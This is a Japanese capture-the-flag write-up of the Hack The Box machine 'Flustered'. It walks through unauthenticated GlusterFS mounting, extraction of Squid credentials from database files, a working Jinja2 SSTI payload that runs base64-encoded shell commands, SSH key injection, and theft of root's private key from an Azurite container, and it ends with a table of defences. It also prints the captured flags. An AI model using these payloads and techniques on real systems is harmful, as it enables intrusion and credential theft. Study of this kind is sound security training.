Hack The BoxのWriteup(Flustered)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Flustered — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/111/3128/24007/49152/49153
GlusterFS 未認証マウント
vol2 → MariaDB生ファイル → Squid資格情報
Flask siteurl SSTI
Jinja2 gadget → popen RCE
SSL証明書回収+vol1マウント
user.txt直読み+authorized_keys注入
jennifer SSH
user.txt ✓
/var/backups/key
Azure Storage account key
SSHポートフォワード
docker0内 Azurite:10000
root.key blob取得 → root.txt ✓
PHASE 1

偵察 (Reconnaissance)

全ポート・バージョンスキャン

BASH
nmap -sV -sC -oN nmap/initial.txt 10.129.50.244
RESULT
Nmap scan report for flustered (10.129.50.244)
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp    open  http        nginx 1.14.2
|_http-title: steampunk-era.htb - Coming Soon
111/tcp   open  rpcbind     2-4 (RPC #100000)
3128/tcp  open  http-proxy  Squid http proxy 4.6
|_http-title: ERROR: The requested URL could not be retrieved
49152/tcp open  ssl/unknown
| ssl-cert: Subject: commonName=flustered.htb
49153/tcp open  rpcbind
Service Info: OS: Linux
BASH
nmap -Pn -p 24007 10.129.50.244
RESULT
PORT      STATE SERVICE
24007/tcp open  unknown   ← GlusterFS 管理デーモン
🚨
重要発見: 24007(GlusterFS Management Daemon)+ 49152/49153(GlusterFS RPC 動的ポート)+ 3128(Squid Proxy)の組み合わせ。 SSL証明書CNから flustered.htb というホスト名も判明。80番はまだ「Coming Soon」の プレースホルダページのみ。
PHASE 2

GlusterFS 未認証マウント & Squid資格情報漏洩

ボリューム一覧の取得(認証不要)

BASH
gluster --remote-host=10.129.50.244 volume list
RESULT
vol1
vol2
⚠️
認証なしでボリューム一覧を取得できる時点で GlusterFS の設定不備(未認証アクセス許可)

vol2 のマウント(ブリック名解決のため /etc/hosts が必須)

BASH
echo "10.129.50.244 flustered flustered.htb steampunk-era.htb" >> /etc/hosts
mkdir -p /mnt/flustered_vol2
mount -t glusterfs flustered:/vol2 /mnt/flustered_vol2
RESULT
flustered:/vol2 on /mnt/flustered_vol2 type fuse.glusterfs (rw,relatime,...)

$ ls -la /mnt/flustered_vol2/
drwx------ 6 cups-pk-helper lpadmin  4096 mysql/ ...
-rw-rw---- 1 cups-pk-helper lpadmin ibdata1
-rw-rw---- 1 cups-pk-helper lpadmin ibtmp1
drwx------ 2 cups-pk-helper lpadmin squid/
ℹ️
vol2 の中身は MariaDB のデータディレクトリ (/var/lib/mysql) がそのまま見える。 squid/ ディレクトリがあり、Squid の認証情報を保持するテーブルが疑われる。

MariaDB を一切起動せず strings だけで平文パスワードを直接抽出

BASH
strings -a /mnt/flustered_vol2/squid/passwd.ibd
RESULT
infimum
supremum
lance.friedman
o>WJ5-jD<5^m3
Lance Friedman
InnoDB の .ibd ファイルはページ構造化されているが、可変長カラムの値はほぼ生テキストで 埋め込まれているため strings だけで Squid Basic認証の平文資格情報 lance.friedman : o>WJ5-jD<5^m3 を読み出せた(MariaDBサーバ・Dockerコンテナ起動は一切不要)。

Squid プロキシ認証の確認

BASH
curl -s --proxy "http://lance.friedman:o>WJ5-jD<5^m3@10.129.50.244:3128" http://127.0.0.1/ -D -
RESULT
HTTP/1.1 200 OK
Server: nginx/1.14.2
X-Cache: HIT from flustered
Via: 1.1 flustered (squid/4.6)

<title>Welcome to nginx!</title>  (内部専用デフォルトvhost)
BASH
curl -s --proxy "http://lance.friedman:o>WJ5-jD<5^m3@10.129.50.244:3128" http://127.0.0.1/app/app.py
RESULT (app.py ソース)
from flask import Flask, render_template_string, url_for, json, request
app = Flask(__name__)

def getsiteurl(config):
  if config and "siteurl" in config:
    return config["siteurl"]
  else:
    return "steampunk-era.htb"

@app.route("/", methods=['GET', 'POST'])
def index_page():
  config = request.json
  template = f'''
    <html><head>
    <title>{getsiteurl(config)} - Coming Soon</title>
    </head><body style="background-image: url('{url_for('static', filename='...')}')"></body></html>
  '''
  return render_template_string(template)
🚨
siteurl の値が f-string でテンプレート文字列に直接連結された後 render_template_string() に渡されている ── 典型的な Jinja2 SSTI
PHASE 3

Flask siteurl SSTI → RCE (www-data)

重要な発見:Flaskアプリ自体はポート80へ直接到達可能

BASH
curl -s -X POST "http://10.129.50.244/" -H "Content-Type: application/json" -d '{"siteurl": "POC-test"}'
RESULT
<title>POC-test - Coming Soon</title>
ℹ️
Squid プロキシ越しにのみ内部到達可能とされる /app パス列挙とは別に、 脆弱な Flask アプリ本体(ルート /)は実際には プロキシ無しで直接インターネットから 到達可能だった。Squid資格情報はソース確認(gobuster等での列挙)には有用だが、 RCE自体はターゲットのポート80を直接叩けば成立する。

Jinja2 SSTI ペイロード — サブクラスgadget + popen() で出力を直接回収

PYTHON (ペイロード構造)
# siteurl に渡す Jinja2 テンプレート。os.system() ではなく os.popen().read() を使うことで
# コマンド出力を HTTPレスポンスの <title> にそのまま反映させ、リバースシェル無しでRCE出力を回収する。
payload = (
  '{% for x in ().__class__.__base__.__subclasses__() %}'
  '{% if "warning" in x.__name__ %}'
  '{{x()._module.__builtins__["__import__"]("os").popen('
  '"echo <base64(cmd)>|base64 -d|bash 2>&1"'
  ').read()}}'
  '{% endif %}{% endfor %}'
)
body = json.dumps({"siteurl": payload})
BASH
curl -s -X POST "http://10.129.50.244/" -H "Content-Type: application/json" -d "$body"
RESULT (cmd = “id”)
<title>uid=33(www-data) gid=33(www-data) groups=33(www-data)
 - Coming Soon</title>
RCE成功! コマンドは base64 でエンコードして siteurl に埋め込み、対象側で base64 -d | bash にパイプして実行することでクォート地獄を回避。任意コマンドの標準出力を そのままHTTPレスポンスから読み取れる。
PHASE 4

SSL証明書回収 → vol1マウント → user.txt 取得

vol1 が SSL 必須である理由の確認

BASH
# SSTI RCE 経由
ls -la /etc/ssl/
RESULT
-rw-r--r--  1 root root  4060 glusterfs.ca
-rw-r--r--  1 root root  3243 glusterfs.key
-rw-r--r--  1 root root  1822 glusterfs.pem

SSTI RCE 経由で証明書3点を回収しローカルの /etc/ssl/ に配置

BASH
# SSTI RCE で cat /etc/ssl/glusterfs.{ca,key,pem} を実行し
# HTTPレスポンス <title> からそれぞれの内容を回収 → 攻撃機の /etc/ssl/ にコピー
cp glusterfs.ca /etc/ssl/glusterfs.ca
cp glusterfs.key /etc/ssl/glusterfs.key
cp glusterfs.pem /etc/ssl/glusterfs.pem
RESULT
-----BEGIN CERTIFICATE-----
MIIDETCCAfmgAwIBAgIUK/baGbGqGJA1fxR2XPNzPq00UIowDQYJKoZIhvcNAQEL
... (glusterfs.ca / glusterfs.key / glusterfs.pem すべて取得成功)

vol1 マウント → user.txt を直接読み取り

BASH
mkdir -p /mnt/flustered_vol1
mount -t glusterfs flustered:/vol1 /mnt/flustered_vol1
ls -la /mnt/flustered_vol1/
cat /mnt/flustered_vol1/user.txt
RESULT
flustered:/vol1 on /mnt/flustered_vol1 type fuse.glusterfs (rw,...)

drwxr-x--- 5 jennifer jennifer  .
-r-------- 1 jennifer jennifer  user.txt
drwx------ 2 jennifer jennifer  .ssh/

4c6e6bc7d2911981f362a2733e0286b5
⚠️
user.txt-r--------(所有者のみ読み取り可)だが、GlusterFS の default_permissions マウントオプション下でも root(uid=0)としてマウントしている 限りカーネルのパーミッションチェックを素通りできるため、所有者以外であるはずの root から 直接読み取れてしまった。

SSH公開鍵を authorized_keys へ書き込み → SSHログイン確立

BASH
ssh-keygen -t ed25519 -f flustered_key -N "" -q
cat flustered_key.pub > /mnt/flustered_vol1/.ssh/authorized_keys
chmod 600 /mnt/flustered_vol1/.ssh/authorized_keys

# 実ユーザ名は /etc/passwd から動的判定(SSTI RCE経由)
cat /etc/passwd | grep -v nologin | grep -v false
# → jennifer:x:1000:1000:,,,:/home/jennifer:/bin/bash

ssh -i flustered_key jennifer@10.129.50.244 "id; cat user.txt"
RESULT
uid=1000(jennifer) gid=1000(jennifer) groups=1000(jennifer)
4c6e6bc7d2911981f362a2733e0286b5
🚨
GlusterFS 側にファイルオーナーシップ以外の追加認証機構が無いため、root でのマウント経由で 任意ユーザーの ~/.ssh/authorized_keys を書き換えるだけでパスワード無しSSHアクセスを 確立できてしまう。
user.txt — jennifer
4c6e6bc7d2911981f362a2733e0286b5
PHASE 5

権限昇格の下調べ — グループ読み取り可能ファイル & Dockerネットワーク

jennifer グループが読める自ホーム外ファイルを探索

BASH
ssh -i flustered_key jennifer@10.129.50.244 \
  "find / -group jennifer 2>/dev/null | grep -v -e '^/sys' -e '^/run' -e '^/proc' -e '^/home/jennifer'"
RESULT
/var/backups/key
/gluster/bricks/brick1/vol1  (GlusterFSブリック実体 — vol1の裏側)
BASH
ssh -i flustered_key jennifer@10.129.50.244 "cat /var/backups/key"
RESULT
FMinPqwWMtEmmPt2ZJGaU5MVXbKBtaFyqP0Zjohpoh39Bd5Q8vQUjztVfFphk73+I+HCUvNY23lUabd7Fm8zgQ==
ℹ️
一見 base64 エンコード済みデータに見えるが、デコードは不要で、この文字列自体が Azure Storage の AccountKey そのもの(Azure の AccountKey 形式は元々base64表現)。

Docker ブリッジネットワーク内のコンテナを発見

BASH
ssh -i flustered_key jennifer@10.129.50.244 "ip a | grep -A2 docker; ip route"
RESULT
docker0: inet 172.17.0.1/16
172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1
BASH
ssh -i flustered_key jennifer@10.129.50.244 \
  'for i in $(seq 2 5); do timeout 1 bash -c "echo > /dev/tcp/172.17.0.$i/10000" 2>/dev/null \
   && echo "172.17.0.$i:10000 OPEN"; done'
RESULT
172.17.0.2:10000 OPEN
🚨
内部専用(外部非公開)Docker コンテナが 10000/tcp を提供している。ポート番号 10000 は Azure Storage エミュレータ Azurite の既定 Blob サービスポート。
PHASE 6

SSHポートフォワード → Azurite blob “root.key” → root.txt

SSH ローカルポートフォワードでコンテナに到達可能にする

BASH
ssh -i flustered_key -f -N -L 127.0.0.1:10000:172.17.0.2:10000 jennifer@10.129.50.244

curl -s http://127.0.0.1:10000/
RESULT
<Error>
  <Code>InvalidQueryParameterValue</Code>
  ...
</Error>   ← Azurite特有のエラー応答(サービス到達を確認)

azure-storage-blob SDK で blob をダウンロード

PYTHON
from azure.storage.blob import BlobServiceClient

account_key = 'FMinPqwWMtEmmPt2ZJGaU5MVXbKBtaFyqP0Zjohpoh39Bd5Q8vQUjztVfFphk73+I+HCUvNY23lUabd7Fm8zgQ=='
connect_str = (
    "DefaultEndpointsProtocol=http;AccountName=jennifer;"
    f"AccountKey={account_key};"
    "BlobEndpoint=http://127.0.0.1:10000/jennifer;"   # ← devstoreaccount1 ではなく実アカウント名!
)
svc = BlobServiceClient.from_connection_string(connect_str, api_version='2019-12-12')
container = svc.get_container_client('ssh-keys')
print([b.name for b in container.list_blobs()])
data = container.get_blob_client('root.key').download_blob().readall()
print(data.decode())
RESULT (最初の試行: devstoreaccount1 使用)
===== ERROR =====
Invalid storage account.
Code: InvalidOperation
⚠️
ハマりポイント: Azurite の既定アカウント名は devstoreaccount1 だが、 このコンテナは AZURITE_ACCOUNTS 等でカスタムアカウント jennifer を 構成済み。BlobEndpoint のURLパスセグメントには 接続文字列の AccountName と同じ値(今回は “jennifer”)を使う必要がある (既定の “devstoreaccount1” のままだと “Invalid storage account” で拒否される)。
RESULT (BlobEndpoint を /jennifer に修正後)
containers: ['documents', 'ssh-keys']
blobs: ['jennifer.key', 'root.key']

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
... (省略) ...
TGdaVjEDWhNuypttFQAAAA5yb290QGZsdXN0ZXJlZAECAw==
-----END OPENSSH PRIVATE KEY-----
root の SSH秘密鍵を取得成功! コンテナ内 Azurite が誤って root 権限昇格用の 秘密鍵をそのまま blob として保存していた。

root.key で SSH → root.txt 取得

BASH
chmod 600 root.key
ssh -i root.key root@10.129.50.244 "id; cat /root/root.txt"
RESULT
uid=0(root) gid=0(root) groups=0(root)
36d780097c8d6e95f502f5c566aac36b
root.txt — root@flustered
36d780097c8d6e95f502f5c566aac36b
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jennifer@flustered
4c6e6bc7d2911981f362a2733e0286b5
root.txt — root@flustered
36d780097c8d6e95f502f5c566aac36b

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
GlusterFS未認証アクセス gluster daemon (24007/49152/49153) 任意ボリュームのマウント・生データ読み取り Critical 認証なしで volume list / mount が可能。MariaDBデータディレクトリを丸ごと露出
生データファイルからの資格情報漏洩 MariaDB InnoDB (.ibd) ファイル Squidプロキシ平文資格情報の漏洩 High DBサーバを起動せず strings だけで squid.passwd テーブルの内容を直接読み出し
Flask/Jinja2 SSTI app.py (siteurl パラメータ) リモートコード実行 (www-data) Critical render_template_string(f”…{ユーザ入力}…”) に未サニタイズの入力を連結。サブクラスgadgetでRCE
GlusterFS root書込みによる認証バイパス vol1 (jennifer ホームディレクトリ) SSH認証情報の追加(横展開) High root権限でのFUSEマウントがサーバ側の追加認証を伴わず、任意ユーザのauthorized_keysを改竄可能
グループ読み取り可能な機密情報 /var/backups/key Azure Storage account key漏洩 Medium jenniferグループに読み取り権限のあるバックアップファイルにクラウドAPIキーを平文保存
内部コンテナへの機密情報平文保管 Azurite (Docker, 172.17.0.2:10000) root SSH秘密鍵の漏洩 High SSHポートフォワード経由でAzuriteのblobストレージから “root.key” をそのままダウンロード

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap バージョン・スクリプトスキャン22/80/111/3128/24007/49152/49153、flustered.htb判明
2GlusterFS調査未認証volume list + mount + stringsSquid資格情報 lance.friedman:o>WJ5-jD<5^m3、app.py ソース
3SSTI RCEJinja2 サブクラスgadget + os.popen()www-data RCE(HTTPレスポンス経由で出力直接回収)
4SSL回収+vol1RCEでcert読取→ローカル配置→vol1マウントuser.txt + jennifer SSHアクセス確立
5権限調査find -group + docker0サブネットスキャンAzure account key、Azuriteコンテナ(172.17.0.2:10000)発見
6Azurite奪取SSHポートフォワード + azure-storage-blob SDKroot.txt(root.key blob → SSH)

学んだ教訓 & 防御策

問題点防御策
GlusterFSが認証なしでボリューム一覧・マウントに応答する auth.allow でクライアントIPを制限し、server.ssl をクライアント証明書検証込みで必須化する。管理ポート(24007)を信頼できるネットワークセグメントに限定する。
MariaDBの生データファイルがGlusterFS経由で直接読み取り可能 データベースファイルをアプリ用の共有ストレージと同一ボリュームに置かない。少なくとも保存時暗号化(encryption at rest)を有効化する。
ユーザー入力を直接 render_template_string() に連結(Jinja2 SSTI) ユーザー入力をテンプレートに渡さず、変数として render_template(name, siteurl=...) の形で受け渡す。sandboxed Jinja2 環境の使用も検討する。
GlusterFSクライアントのroot権限が任意ユーザーファイルの改竄を可能にする server.root-squash を有効化し、クライアント側rootをサーバ側の非特権uidへマッピングする。
クラウドAPIキーがグループ読み取り可能な平文バックアップファイルに保存 シークレットは Vault 等の専用シークレット管理システムで管理し、ファイルシステム上に平文保存しない。最小権限の原則でパーミッションを 600 に制限する。
内部限定のはずのDockerコンテナ(Azurite)にSSH経由で到達し、root SSH秘密鍵を平文取得できた 本番相当のSSH秘密鍵をAzurite/S3等のオブジェクトストレージに保存しない。コンテナ間通信も認証・ネットワークポリシーで制限する。
HackTheBox: Flustered | 完全攻略レポート